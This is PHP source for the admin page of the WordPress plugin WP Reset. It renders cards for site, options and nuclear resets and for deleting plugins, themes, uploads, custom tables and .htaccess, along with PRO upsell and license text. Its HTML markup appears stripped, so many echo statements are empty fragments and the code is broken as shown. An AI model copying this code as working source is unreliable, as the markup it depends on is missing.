'; echo 'You deserve it, I\'ll rate it!     I already rated it'; echo '

'; } echo '
'; } // notice_successful_reset /** * Generate a button that initiates snapshot creation * * @param string $tool_id Tool ID. * @param string $description Snapshot description. * * @return string */ function get_snapshot_button($tool_id = '', $description = '') { $out = ''; $out .= 'Create snapshot'; return $out; } // get_snapshot_button /** * Generate card header including title and action buttons * * @param string $title Card title. * @param string $card_id Card element #ID. * @param array $params Individual icons arguments * * @return string */ function get_card_header($title, $card_id, $params = array()) { $params = shortcode_atts(array( 'documentation_link' => false, 'iot_button' => false, 'collapse_button' => false, 'create_snapshot' => false, 'pro' => false ), (array) $params); if ($params['documentation_link'] === true) { $params['documentation_link'] = $card_id; } $out = ''; $out .= '

' . esc_html($title); if ($params['pro']) { $out .= ' - PRO tool'; } $out .= ''; $out .= '
'; if ($params['documentation_link']) { $out .= ''; } if ($params['iot_button']) { $out .= ''; } if ($params['create_snapshot']) { $out .= '' . __('Create Snapshot', 'wp-reset') . ''; } if ($params['collapse_button']) { $out .= ''; } $out .= '

'; return $out; } // get_card_header /** * Generate tool icons and description detailing what it modifies * * @param bool $modify_files Does the tool modify files? * @param bool $modify_db Does the tool modify the database? * @param bool $plural Is there more than one tool in the set? * * @return string */ function get_tool_icons($modify_files = false, $modify_db = false, $plural = false) { $out = ''; $modify_files = (bool) $modify_files; $modify_db = (bool) $modify_db; $plural = (bool) $plural; $out .= '

'; $out .= ' '; $out .= ' '; if ($plural) { if ($modify_files && $modify_db) { $out .= 'these tools modify files & the database'; } elseif (!$modify_files && $modify_db) { $out .= 'these tools modify the database but they don\'t modify any files'; } elseif ($modify_files && !$modify_db) { $out .= 'these tools modify files but they don\'t modify the database'; } } else { if ($modify_files && $modify_db) { $out .= 'this tool modifies files & the database'; } elseif (!$modify_files && $modify_db) { $out .= 'this tool modifies the database but it doesn\'t modify any files'; } elseif ($modify_files && !$modify_db) { $out .= 'this tool modifies files but it doesn\'t modify the database'; } else { $out .= 'this tool doesn\'t modify files or the database'; } } $out .= '

'; return $out; } // get_tool_icons /** * Outputs complete plugin's admin page * * @return null */ function plugin_page() { // double check for admin privileges if (!current_user_can('manage_options')) { wp_die(esc_html__('Sorry, you are not allowed to access this page.', 'wp-reset')); } echo '
'; echo '
'; echo '
'; echo '
'; echo '' . esc_html__('WP Reset', 'wp-reset') . ''; echo '
'; echo '
'; echo '
Loading. Please wait.
'; echo ''; // wp-reset-tabs echo '
'; echo '
'; echo '
'; echo '

Save time & money with WP Reset PRO! First WP dev tool for non-devs.

'; echo '

WP Reset PRO

'; echo '
  • 25+ Reset Tools
  • Plugins & Themes Collections
  • Automatic Snapshots
  • WP Reset Cloud, Dropbox & Google Drive support
  • Emergency Recovery Script
  • White-label Mode + Complete Plugin Rebranding
  • Licenses & Sites Manager (remote SaaS dashboard)
  • Friendly email support from plugin developers
'; echo '

Get PRO now

'; echo '
'; if (!defined('WPFSSL_OPTIONS_KEY')) { echo '
'; echo '

Problems with SSL certificate?
Moving a site from HTTP to HTTPS?
Mixed content giving you troubles?

Fix all SSL problems with one plugin!

'; echo '

WP Force SSL

'; echo '


Install & activate the free WP Force SSL plugin

WP Force SSL is a free WP plugin maintained by the same team as this Maintenance plugin. It has +150,000 users, 5-star rating, and is hosted on the official WP repository.

'; echo '
'; } echo '
'; echo '
'; // wrap } // plugin_page /** * Echoes all custom plugin notitications * * @return null */ private function custom_notifications() { $notice_shown = false; $meta = $this->get_meta(); $snapshots = $this->get_snapshots(); // update to PRO after activating the license if ($this->license->is_active()) { echo '
'; echo '

' . esc_html(__('Thank you for purchasing WP Reset PRO!', 'wp-reset')) . '

'; echo '

Your license has been verified & activated.
To start using the PRO version, please follow these steps:'; echo '

    '; echo '
  1. Download the latest version of the PRO plugin.
  2. '; echo '
  3. Go to Plugins - Add New - Upload Plugin and upload the ZIP you just downloaded.
  4. '; echo '
  5. If asked to replace (overwrite) the free version - confirm it.
  6. '; echo '
  7. Activate the plugin.
  8. '; echo '
  9. That\'s it, no more steps.
  10. '; echo '
'; echo '
'; $notice_shown = true; } // warn that WPR is not WPMU compatible if (false === $notice_shown && is_multisite()) { echo '
'; echo '

' . esc_html__('WP Reset is not compatible with multisite!', 'wp-reset') . '

'; WP_Reset_Utility::wp_kses_wf('

' . __('Please be careful when using WP Reset with multisite enabled. It\'s not recommended to reset the main site. Sub-sites should be OK. We\'re working on making it fully compatible with WP-MU. Till then please be careful. Thank you for understanding.', 'wp-reset') . '

'); echo '
'; $notice_shown = true; } // ask for review if ((!empty($meta['reset_count']) || !empty($snapshots) || current_time('timestamp', true) - $meta['first_install'] > DAY_IN_SECONDS) && false === $notice_shown && false == $this->get_dismissed_notices('rate') ) { echo '
'; echo '

' . esc_html__('Please help us spread the word & keep the plugin up-to-date', 'wp-reset') . '

'; WP_Reset_Utility::wp_kses_wf('

' . __('If you use & enjoy WP Reset, please rate it on WordPress.org. It only takes a second and helps us keep the plugin maintained. Thank you!', 'wp-reset') . '

'); echo '

' . esc_html__('Rate the plugin ★★★★★', 'wp-reset') . ' ' . esc_html__('I\'ve already rated it', 'wp-reset') . '

'; echo '
'; $notice_shown = true; } } // custom_notifications /** * Echoes content for reset tab * * @return null */ private function tab_reset() { global $current_user, $wpdb; echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Please read carefully before proceeding', 'wp-reset'), 'reset-description', array('collapse_button' => true))); echo '
'; echo '

The following table details what data will be deleted (reset or destroyed) when a selected reset tool is run. Please read it! '; echo 'If something is not clear contact support before running any tools. It\'s better to ask than to be sorry!'; echo '

'; echo '

- tool WILL delete, reset or destroy the noted data
'; echo ' - tool will NOT touch the noted data in any way

'; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; $rows = array(); $rows['Posts, pages & custom post types'] = array(0, 1, 1); $rows['Comments'] = array(0, 1, 1); $rows['Media'] = array(0, 1, 1); $rows['Media files'] = array(0, 0, 1); $rows['Users'] = array(0, 1, 1); $rows['User roles'] = array(1, 1, 1); $rows['Current user - ' . $current_user->user_login] = array(0, 0, 0); $rows['Widgets'] = array(1, 1, 1); $rows['Transients'] = array(1, 1, 1); $rows['Settings & options (from WP, plugins & themes)'] = array(1, 1, 1); $rows['Site title, WP address, site address,' . PHP_EOL . 'search engine visibility, timezone'] = array(0, 0, 0); $rows['Site language'] = array(0, 0, 1); $rows['Data in all default WP tables'] = array(0, 1, 1); $rows['Custom database tables with prefix ' . $wpdb->prefix] = array(0, 1, 1); $rows['Other database tables'] = array(0, 0, 0); $rows['Plugin files'] = array(0, 0, 1); $rows['MU plugin files'] = array(0, 0, 1); $rows['Drop-in files'] = array(0, 0, 1); $rows['Theme files'] = array(0, 0, 1); $rows['All files in uploads'] = array(0, 0, 1); $rows['Custom folders in wp-content'] = array(0, 0, 1); foreach ($rows as $tool => $opt) { echo ''; echo ''; if (empty($opt[0])) { echo ''; } else { echo ''; } if (empty($opt[1])) { echo ''; } else { echo ''; } if (empty($opt[2])) { echo ''; } else { echo ''; } echo ''; } // foreach $rows echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo '
 Options Reset
PRO tool
Site ResetNuclear Reset
PRO tool
'; WP_Reset_Utility::wp_kses_wf(nl2br(esc_html($tool))); echo '
 Options Reset
PRO tool
Site ResetNuclear Reset
PRO tool
'; echo '

' . esc_html__('What happens when I run any Reset tool?', 'wp-reset') . '

'; echo ''; echo '

' . esc_html__('WP-CLI Support', 'wp-reset') . '
'; echo '' . sprintf(esc_html__('All tools available via GUI are available in WP-CLI as well. To get the list of commands run %s. Instead of the active user, the first user with admin privileges found in the database will be restored. ', 'wp-reset'), 'wp help reset'); echo sprintf(esc_html__('All actions have to be confirmed. If you want to skip confirmation use the standard %s option. Please be careful and backup first.', 'wp-reset'), '--yes') . '

'; echo '
'; // card description $theme = wp_get_theme(); $theme_name = $theme->get('Name'); if (empty($theme_name)) { $theme_name = 'no active theme'; } $active_plugins = get_option('active_plugins'); // options reset echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Options Reset', 'wp-reset'), 'tool-options-reset', array('collapse_button' => true, 'pro' => true))); echo '
'; echo '

Options table will be reset to default values meaning all WP core settings, widgets, theme settings and customizations, and plugin settings will be gone. Other content and files will not be touched including posts, pages, custom post types, comments and other data stored in separate tables. Site URL and name will be kept as well. Please see the table above for details.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true)); echo '


'; echo '

'; echo '

Reset all options - PRO tool

'; echo '
'; echo '
'; // options reset echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Site Reset', 'wp-reset'), 'tool-site-reset', array('collapse_button' => true))); echo '
'; echo '

'; echo '

'; echo '

'; WP_Reset_Utility::wp_kses_wf('

' . __('Type reset in the confirmation field to confirm the reset and then click the "Reset WordPress" button.
Always create a snapshot before resetting if you want to be able to undo.', 'wp-reset') . '

'); wp_nonce_field('wp-reset'); echo '

 '; echo '' . esc_html__('Reset Site', 'wp-reset') . ''; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('reset-wordpress', 'Before resetting the site')); echo '

'; echo '
'; echo '
'; // card reset // nuclear reset echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Nuclear Site Reset', 'wp-reset'), 'tool-nuclear-reset', array('collapse_button' => true, 'pro' => true))); echo '
'; echo '

All data will be deleted or reset (see the explanation table for details). All data stored in the database including custom tables with ' . esc_html($wpdb->prefix) . ' prefix, as well as all files in wp-content, themes and plugins folders. The only thing restored after reset will be your user account so you can log in again, and the basic WP settings like site URL. Please see the table above for details.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, true)); if (is_multisite()) { echo '

This tool is not compatible with WP multisite (WPMU). Using it would delete files shared by multiple sites in the WP network.

'; } else { echo '


'; WP_Reset_Utility::wp_kses_wf('

' . __('Type reset in the confirmation field to confirm the reset and then click the "Reset WordPress & Delete All Custom Files & Data" button. There is NO UNDO.', 'wp-reset') . '

'); echo '

 '; echo '' . esc_html__('Reset WordPress & Delete All Custom Files & Data', 'wp-reset') . ' - PRO tool

'; } echo '
'; echo '
'; // nuclear reset } // tab_reset /** * Echoes content for tools tab * * @return null */ private function tab_tools() { global $wpdb, $wp_version; $tools = array( 'tool-reset-theme-options' => 'Reset Theme Options', '_tool-reset-user-roles' => 'Reset User Roles', 'tool-delete-transients' => 'Delete Transients', 'tool-purge-cache' => 'Purge Cache', 'tool-delete-local-data' => 'Delete Local Data', '_tool-delete-content' => 'Delete Content', '_tool-delete-widgets' => 'Delete Widgets', 'tool-delete-themes' => 'Delete Themes', 'tool-delete-plugins' => 'Delete Plugins', '_tool-delete-mu-plugins-dropins' => 'Delete MU Plugins & Drop-ins', 'tool-delete-uploads' => 'Clean uploads Folder', '_tool-delete-wp-content' => 'Clean wp-content Folder', 'tool-empty-delete-custom-tables' => 'Empty or Delete Custom Tables', '_tool-switch-wp-version' => 'Switch WP Version', 'tool-delete-htaccess' => 'Delete .htaccess File' ); echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Index of Tools', 'wp-reset'), 'iot', array('collapse_button' => true))); echo '
'; $i = 0; $tools_nb = sizeof($tools); foreach ($tools as $tool_id => $tool_name) { if ($i == 0) { echo '
'; echo '
    '; } if ($i == 5 || $i == 10) { echo '
'; echo '
'; echo ''; echo '
'; // third } $i++; } // foreach tools echo '
'; echo '
'; echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Reset Theme Options', 'wp-reset'), 'tool-reset-theme-options', array('iot_button' => true, 'collapse_button' => true))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('All options (mods) for all themes will be reset; not just for the active theme. The tool works only for themes that use the WordPress theme modification API. If options are saved in some other, custom way they won\'t be reset.
Always create a snapshot before using this tool if you want to be able to undo its actions.', 'wp-reset') . '

'); WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true)); echo '

create a snapshot if you want to be able to undo') . '." data-text-done="Options for %n themes have been reset." data-text-done-singular="Options for one theme have been reset." class="button button-delete" href="#" id="reset-theme-options">Reset theme options'; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('reset-theme-options', 'Before resetting theme options') . '

'); echo '
'; echo '
'; // reset theme options echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Reset User Roles', 'wp-reset'), 'tool-reset-user-roles', array('collapse_button' => true, 'iot_button' => true, 'pro' => true))); echo '
'; echo '

Default user roles\' capatibilities will be reset to their default values. All custom roles will be deleted.
Users that had custom roles will not be assigned any default ones and might not be able to log in. Roles have to be (re)assigned to them manually.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true)); echo '

Reset user roles - PRO tool'; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('reset-user-roles', 'Before resetting user roles') . '

'); echo '
'; echo '
'; // reset user roles echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Delete Transients', 'wp-reset'), 'tool-delete-transients', array('iot_button' => true, 'collapse_button' => true))); echo '
'; echo '

All transient related database entries will be deleted. Including expired and non-expired transients, and orphaned transient timeout entries.
Always create a snapshot before using this tool if you want to be able to undo its actions.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true)); echo '

create a snapshot if you want to be able to undo') . '." data-text-done="%n transient database entries have been deleted." data-text-done-singular="One transient database entry has been deleted." class="button button-delete" href="#" id="delete-transients">Delete all transients'; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('delete-transients', 'Before deleting transients') . '

'); echo '
'; echo '
'; // delete transients echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Purge Cache', 'wp-reset'), 'tool-purge-cache', array('collapse_button' => true, 'iot_button' => true))); echo '
'; echo '

All cache objects stored in both files and the database will be deleted. Along with WP object cache and transients, cache from the following plugins will be purged: W3 Total Cache, WP Cache, LiteSpeed Cache, Endurance Page Cache, SiteGround Optimizer, WP Fastest Cache and Swift Performance.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, true)); echo '

Purge cache

'; echo '
'; echo '
'; // purge cache echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Delete Local Data', 'wp-reset'), 'tool-delete-local-data', array('collapse_button' => true, 'iot_button' => true))); echo '
'; echo '

All local storage and session storage data will be deleted. Cookies without a custom set path will be deleted as well. WP cookies are not touched, with Delete Local Data button.
Deleting all WordPress cookies (including authentication cookies) will delete all WP related cookies and user (you) will be logged out on the next page reload.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, false)); echo '

Delete local dataDelete all WordPress cookies

'; echo '
'; echo '
'; // delete local data echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Delete Content', 'wp-reset'), 'tool-delete-content', array('collapse_button' => true, 'iot_button' => true, 'pro' => true))); echo '
'; echo '

Besides content, all linked or child records (for selected content) will be deleted to prevent creating orphaned rows in the database. For instance, for posts that\'s posts, post meta, and comments related to posts. Delete process does not call any WP hooks such as before_delete_post. Choosing a post type or taxonomy does not delete that parent object it deletes the child objects. Parent objects are defined in code. If you want to remove them, remove their code definition. When media is deleted, files are left in the uploads folder. To delete files use the Clean uploads Folder tool. Deleting users does not affect the current, logged in user account. All orphaned objects will be reassigned to him.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true)); $post_types = get_post_types('', false, 'and'); $taxonomies = get_taxonomies('', false, 'and'); echo '


'; echo 'Select content object(s) you want to delete. Use ctrl + click to select multiple objects.

'; echo '

Delete content - PRO tool

'; echo '
'; echo '
'; // delete content echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Delete Widgets', 'wp-reset'), 'tool-delete-widgets', array('collapse_button' => true, 'iot_button' => true, 'pro' => true))); echo '
'; echo '

All widgets, orphaned, active and inactive ones, as well as widgets in active and inactive sidebars will be deleted including their settings. After deleting, WordPress will automatically recreate default, empty database entries related to widgets. So, no matter how many times users run the tool it will never return "no data deleted". That\'s expected and normal.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true)); echo '

Delete widgets - PRO tool

'; echo '
'; echo '
'; // delete widgets $theme = wp_get_theme(); echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Delete Themes', 'wp-reset'), 'tool-delete-themes', array('iot_button' => true, 'collapse_button' => true))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('All themes will be deleted. Including the currently active theme - ' . esc_html($theme->get('Name')) . '.
There is NO UNDO. WP Reset does not make any file backups.', 'wp-reset') . '

'); WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, true)); echo '

Delete all themes

'; echo '
'; echo '
'; // delete themes echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Delete Plugins', 'wp-reset'), 'tool-delete-plugins', array('iot_button' => true, 'collapse_button' => true))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('All plugins will be deleted except for WP Reset which will remain active.
There is NO UNDO. WP Reset does not make any file backups.', 'wp-reset') . '

'); WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, true)); echo '

Delete plugins

'; echo '
'; echo '
'; // delete plugins echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Delete MU Plugins & Drop-ins', 'wp-reset'), 'tool-delete-mu-plugins-dropins', array('collapse_button' => true, 'iot_button' => true, 'pro' => true))); echo '
'; echo '

MU Plugins are located in /wp-content/mu-plugins/ and are, as the name suggests, must-use plugins that are automatically activated by WP and can\'t be deactiavated via the plugins interface, although if any are used, they are listed in the "Must Use" tab.
'; echo 'Drop-ins are pieces of code found in /wp-content/ that replace default, built-in WordPress functionality. Most often used are db.php and advanced-cache.php that implement custom DB and cache functionality. They can\'t be deactivated via the plugins interface but if any are present are listed in the "Drop-in" tab.

'; if (is_multisite()) { echo '

This tool is not compatible with WP multisite (WPMU). Using it would delete plugins for all sites in the network since they all share the same plugin files.

'; } else { WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, false, true)); echo '

Delete must use plugins - PRO toolDelete drop-ins - PRO tool

'; } echo '
'; echo '
'; // delete MU plugins and dropins $upload_dir = wp_upload_dir(date('Y/m'), true); $upload_dir['basedir'] = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $upload_dir['basedir']); echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Clean uploads Folder', 'wp-reset'), 'tool-delete-uploads', array('iot_button' => true, 'collapse_button' => true))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('All files in ' . esc_html($upload_dir['basedir']) . ' folder will be deleted. Including folders and subfolders, and files in subfolders. Files associated with media entries will be deleted too.
There is NO UNDO. WP Reset does not make any file backups.', 'wp-reset') . '

'); WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, false)); if (false != $upload_dir['error']) { echo '

Tool is not available. Folder is not writeable by WordPress. Please check file and folder access rights.

'; } else { echo '

Delete all files & folders in uploads folder

'; } echo '
'; echo '
'; // clean uploads folder echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Clean wp-content Folder', 'wp-reset'), 'tool-delete-wp-content', array('collapse_button' => true, 'iot_button' => true, 'pro' => true))); echo '
'; echo '

All folders and their content in wp-content folder except the following ones will be deleted: mu-plugins, plugins, themes, uploads, wp-reset-autosnapshots, wp-reset-snapshots-export.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, false)); if (false === is_writable(trailingslashit(WP_CONTENT_DIR))) { echo '

Tool is not available. Folder is not writeable by WordPress. Please check file and folder access rights.

'; } else { echo '

Clean wp-content folder - PRO tool

'; } echo '
'; echo '
'; // clean wp-content $custom_tables = $this->get_custom_tables(); echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Empty or Delete Custom Tables', 'wp-reset'), 'tool-empty-delete-custom-tables', array('iot_button' => true, 'collapse_button' => true))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('This action affects only custom tables with ' . esc_html($wpdb->prefix) . ' prefix. Core WP tables and other tables in the database that do not have that prefix will not be deleted/emptied. Deleting (dropping) tables completely removes them from the database. Emptying (truncating) removes all content from them, but keeps the structure intact.
Always create a snapshot before using this tool if you want to be able to undo its actions.

', 'wp-reset')); if ($custom_tables) { WP_Reset_Utility::wp_kses_wf('

' . __('The following ' . sizeof($custom_tables) . ' custom tables are affected by this tool: ', 'wp-reset')); foreach ($custom_tables as $tbl) { echo '' . esc_html($tbl['name']) . ''; if (next($custom_tables)) { echo ', '; } } // foreach echo '.

'; $custom_tables_btns = ''; } else { echo '

' . esc_html__('There are no custom tables. There\'s nothing for this tool to empty or delete.', 'wp-reset') . '

'; $custom_tables_btns = ' disabled'; } WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true, true)); echo '

create a snapshot if you want to be able to undo') . '." data-text-done="%n custom tables have been emptied." data-text-done-singular="One custom table has been emptied." class="button button-delete' . esc_attr($custom_tables_btns) . '" href="#" id="truncate-custom-tables">Empty (truncate) custom tables'; echo 'create a snapshot if you want to be able to undo') . '." data-text-done="%n custom tables have been deleted." data-text-done-singular="One custom table has been deleted." class="button button-delete' . esc_attr($custom_tables_btns) . '" href="#" id="drop-custom-tables">Delete (drop) custom tables'; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('drop-custom-tables', 'Before deleting custom tables')); echo '

'; echo '
'; echo '
'; // empty custom tables echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Switch WP Version', 'wp-reset'), 'tool-switch-wp-version', array('collapse_button' => true, 'iot_button' => true, 'pro' => true))); echo '
'; if (is_multisite()) { echo '

This tool is not compatible with WP multisite (WPMU). Using it would change the WP version for all sites in the network since they all share the same core files.

'; } else { echo '

Replace current WordPress version with the selected new version. Switching from a previous version, to a newer version is mostly supported and properly handled by the WP installer. Reverting WordPress, rolling back WordPress to a previous version is not supported. Results may vary!

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, true)); $wp_versions = WP_Reset_Utility::get_wordpress_versions(); echo '

'; echo '

'; echo '

'; echo 'Switch WordPress version - PRO tool'; echo '

'; } echo '
'; echo '
'; // switch WP version echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Delete .htaccess File', 'wp-reset'), 'tool-delete-htaccess', array('iot_button' => true, 'collapse_button' => true))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('This action deletes the .htaccess file located in ' . esc_html($this->get_htaccess_path()) . '
There is NO UNDO. WP Reset does not make any file backups.

', 'wp-reset')); echo '

If you need to edit .htaccess, install our free WP Htaccess Editor plugin. It automatically creates backups when you edit .htaccess as well as checks for syntax errors. To create the default .htaccess file open Settings - Permalinks and re-save settings. WordPress will recreate the file.

'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, false)); echo '

Delete .htaccess file

'; echo '
'; echo '
'; // delete htaccess } // tab_tools /** * Echoes content for collections tab * * @return null */ private function tab_collections() { echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header('What are Plugin & Theme Collections?', 'collections-info', array('collapse_button' => false))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('Have a set of plugins (and themes) that you install and activate after every reset? Or on every fresh WordPress installation? Well, no more clicking install & active for ten minutes! Build the collection once and install it with one click as many times as needed.

WP Reset stores collections in the cloud so they\'re accessible on every site you build. You can use free plugins and themes from the official repo, and PRO ones by uploading a ZIP file. We\'ll safely store your license keys too, so you have everything in one place.', 'wp-reset') . '

'); echo '

Add a new collection - PRO feature   Reload my saved collections from the cloud - PRO feature

'; echo '
'; echo '
'; // collections-info $plugins = array(); $plugins['eps-301-redirects'] = array('name' => '301 Redirects', 'desc' => 'Easiest way to manage redirects'); $plugins['classic-editor'] = array('name' => 'Classic Editor', 'desc' => 'Any easy fix for all your Gutenberg caused troubles'); $plugins['simple-author-box'] = array('name' => 'Simple Author Box', 'desc' => 'Simplest way to add responsive, great looking author boxes'); $plugins['sticky-menu-or-anything-on-scroll'] = array('name' => 'Sticky Menu (or Anything!) on Scroll', 'desc' => 'Make any element on the page sticky.'); $plugins['under-construction-page'] = array('name' => 'UnderConstructionPage', 'desc' => 'Working on your site? Put it in the under construction mode.'); $plugins['wp-external-links'] = array('name' => 'WP External Links', 'desc' => 'Manage all external & internal links. Control icons, nofollow, noopener, UGC, sponsored and if links open in new window or new tab.'); echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header('Must Have WordPress Plugins', 'collection-id-1', array('collapse_button' => false))); echo '
'; foreach ($plugins as $slug => $plugin) { echo ''; } // foreach plugin echo '
TypeName & NoteActions
' . esc_html($plugin['name']) . '' . esc_html($plugin['desc']) . '
'; } // tab_collections /** * Echoes content for support tab * * @return null */ private function tab_support() { echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Documentation', 'wp-reset'), 'support-documentation', array('collapse_button' => false))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('All tools and features are explained in detail in the documentation. We did our best to describe how things work on both the code level and an "average user" level.', 'wp-reset') . '

'); echo '
'; echo '
'; // documentation echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header('Emergency Recovery Script', 'support-ers', array('collapse_button' => false, 'pro' => true))); echo '
'; echo '

Emergency Recovery Script is a standalone, single-file, WordPress independent PHP script created to recover WordPress sites from the most difficult situations. When access to the admin is not possible when core files are compromised (accidental delete or malware related situations), when you get the white screen of death, can\'t log in for whatever reason or a plugin has killed your site - emergency recovery script can fix the problem! Some of the things ERS can do;

'; echo ''; echo '

You can install the script as a preventive measure, so it\'s always available in case of an emergency (don\'t worry, it\'s password protected), or upload it only when needed. On production sites, when big and potentially dangerous changes rarely happen, we suggest uploading it only when needed. On test sites, have it ready in advance because there\'s a higher probability that you\'ll need it. Emergency Recovery Script is a WP Reset PRO tool.

'; echo '
'; echo '
'; // emergency recovery script echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Public Support Forum', 'wp-reset'), 'support-forum', array('collapse_button' => false))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('We are very active on the official WP Reset support forum. If you found a bug, have a feature idea or just want to say hi - please drop by. We love to hear back from our users.', 'wp-reset') . '

'); echo '
'; echo '
'; // forum echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Premium Email Support', 'wp-reset'), 'support-email', array('collapse_button' => false, 'pro' => true))); echo '
'; echo '

Need urgent support? Have one of our devs personally help you with your issue. All PRO license holders have access to premium email support. Get WP Reset PRO now.

'; echo '
'; echo '
'; // email support echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Care to Help Out?', 'wp-reset'), 'support-help-out', array('collapse_button' => false))); echo '
'; WP_Reset_Utility::wp_kses_wf('

' . __('No need for donations :) If you can give us a five star rating you\'ll help out more than you can imagine. A public mention @webfactoryltd also does wonders. Thank you!', 'wp-reset') . '

'); echo '
'; echo '
'; // help out } // tab_support /** * Echoes content for pro tab * * @return null */ private function tab_pro() { $agency_lifetime = $this->generate_web_link('pricing-table', '/buy/', array('p' => 'wp-reset-pro-agency-ltd-launch')); $team_lifetime = $this->generate_web_link('pricing-table', '/', array(), 'pricing'); $personal_lifetime = $this->generate_web_link('pricing-table', '/buy/', array('p' => 'wp-reset-pro-personal-ltd-launch')); echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('WP Reset PRO', 'wp-reset'), 'pro-features', array('collapse_button' => false))); echo '
'; echo '

More ways to reset your site, more tools, automatic snapshots, collections, email support and the emergency recover script - that\'s WP Reset PRO in a nutshell. The same quality and easy-of-use you experienced in the free version is very much a part of the PRO one, but extended and upgraded with more tools that will save you even more time.

'; echo '

WP Reset PRO is aimed towards webmasters, agencies, and everyone who buildsa a lot of WordPress sites. It\'s much, much more than a "reset" tool. It\'s an easy way to start a new site, to test changes and to get out of the thickest jams. And thanks to its cloud features and the Dashboard it\'ll give you access to collections and snapshots on all the sites you\'re working on - instantly, without dragging any files along.

'; echo '

Give WP Reset PRO a go. It\'ll pay itself out in hours saved within the first few days!

'; echo '

If you already have a PRO license, activate it below.

'; echo '

Get PRO now

'; echo '
'; echo '
'; echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header(__('Activate PRO License', 'wp-reset'), 'pro-activate', array('collapse_button' => false))); echo '
'; echo '

License key is visible on the confirmation screen, right after purchasing. You can also find it in the confirmation email sent to the email address provided on purchase. Or use keys created with the license manager.

If you don\'t have a license - purchase one now. In case of problems with the license please contact support.

'; echo '
'; echo '

'; echo '
'; if ($this->license->is_active()) { $license_formatted = $this->license->get_license_formatted(); echo 'Active
' . esc_html($license_formatted['name_long']); echo '
' . esc_html($license_formatted['valid_until']); echo '

Thank you for purchasing WP Reset PRO! Your license has been verified and activated.'; echo '
To start using the PRO version, please follow these steps:

'; echo '
    '; echo '
  1. Download the latest version of the PRO plugin.
  2. '; echo '
  3. Go to Plugins - Add New - Upload Plugin and upload the ZIP you just downloaded.
  4. '; echo '
  5. If asked to replace (overwrite) the free version - confirm it.
  6. '; echo '
  7. Activate the plugin.
  8. '; echo '
  9. That\'s it, no more steps.
  10. '; echo '
'; } else { // not active echo 'Inactive'; if (!empty($this->license->get_license('error'))) { echo '
' . esc_html($this->license->get_license('error')); } } echo '

'; echo '

'; if ($this->license->is_active()) { echo 'Save & Revalidate License'; echo '   Deactivate License'; } else { echo 'Save & Activate License'; echo '   Keyless Activation'; } echo '

'; echo '

By attempting to activate a license you agree to share the following data with WebFactory Ltd: license key, site URL, site title, site WP version, site IP, and WP Reset plugin (free) version.'; echo '

'; echo '
'; echo '
